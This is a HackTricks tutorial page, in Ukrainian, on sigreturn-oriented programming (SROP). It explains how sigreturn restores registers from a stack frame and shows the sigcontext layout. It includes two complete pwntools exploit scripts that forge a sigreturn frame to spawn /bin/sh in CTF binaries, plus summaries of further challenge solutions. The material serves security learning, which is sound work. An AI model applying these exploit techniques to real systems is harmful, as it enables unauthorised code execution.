SROP - Sigreturn-Oriented Programming

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Sigreturn - це спеціальний syscall, який в основному використовується для очищення після завершення виконання обробника сигналів. Сигнали - це переривання, які надсилаються програмі операційною системою, часто для вказівки на те, що сталася якась виняткова ситуація. Коли програма отримує сигнал, вона тимчасово призупиняє свою поточну роботу, щоб обробити сигнал за допомогою обробника сигналів, спеціальної функції, призначеної для роботи з сигналами.

Після завершення обробника сигналів програма повинна відновити свій попередній стан, ніби нічого не сталося. Тут і вступає в гру sigreturn. Він допомагає програмі повернутися з обробника сигналів і відновлює стан програми, очищаючи стековий фрейм (сектор пам'яті, що зберігає виклики функцій і локальні змінні), який використовувався обробником сигналів.

Цікава частина полягає в тому, як sigreturn відновлює стан програми: він робить це, зберігаючи всі значення регістрів ЦП на стеку. Коли сигнал більше не заблокований, sigreturn витягує ці значення зі стеку, ефективно скидаючи регістри ЦП до їх стану до обробки сигналу. Це включає регістр вказівника стеку (RSP), який вказує на поточну верхню частину стеку.

Виклик syscall sigreturn з ROP-ланцюга та додавання значень регістрів, які ми хочемо завантажити в стек, дозволяє контролювати всі значення регістрів і, отже, викликати, наприклад, syscall execve з /bin/sh.

Зверніть увагу, що це буде типом Ret2syscall, який значно спрощує контроль параметрів для виклику інших Ret2syscalls:

Ret2syscall

Якщо вам цікаво, це структура sigcontext, що зберігається в стеку для подальшого відновлення значень (діаграма з тут):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Для кращого пояснення також перегляньте:

Приклад

Ви можете знайти приклад тут, де виклик signeturn конструюється через ROP (вставляючи в rxa значення 0xf), хоча це фінальний експлойт звідти:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Перевірте також експлойт звідси, де бінар вже викликав sigreturn, тому немає необхідності будувати це з ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Інші приклади та посилання

  • Бінарний код на асемблері, який дозволяє записувати в стек і потім викликає sigreturn системний виклик. Можливо записати в стек ret2syscall через структуру sigreturn і прочитати прапорець, який знаходиться в пам'яті бінарного файлу.

  • Бінарний код на асемблері, який дозволяє записувати в стек і потім викликає sigreturn системний виклик. Можливо записати в стек ret2syscall через структуру sigreturn (бінарний файл містить рядок /bin/sh).

  • 64 біти, без relro, без canary, nx, без pie. Простий переповнення буфера, що зловживає функцією gets з нестачею гаджетів, які виконують ret2syscall. LOP-ланцюг записує /bin/sh в .bss, викликаючи gets знову, зловживає функцією alarm, щоб встановити eax на 0xf, щоб викликати SROP і виконати оболонку.

  • 64 біти, програма на асемблері, без relro, без canary, nx, без pie. Потік дозволяє записувати в стек, контролювати кілька регістрів і викликати системний виклик, а потім викликає exit. Вибраний системний виклик - це sigreturn, який встановить регістри і перемістить eip, щоб викликати попередню інструкцію системного виклику і виконати memprotect, щоб встановити простір бінарного файлу на rwx і встановити ESP в бінарному просторі. Далі програма знову викличе read в ESP, але в цьому випадку ESP вказуватиме на наступну інструкцію, тому передача shellcode запише його як наступну інструкцію і виконає.

  • SROP використовується для надання привілеїв виконання (memprotect) місцю, де був розміщений shellcode.

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks

Last updated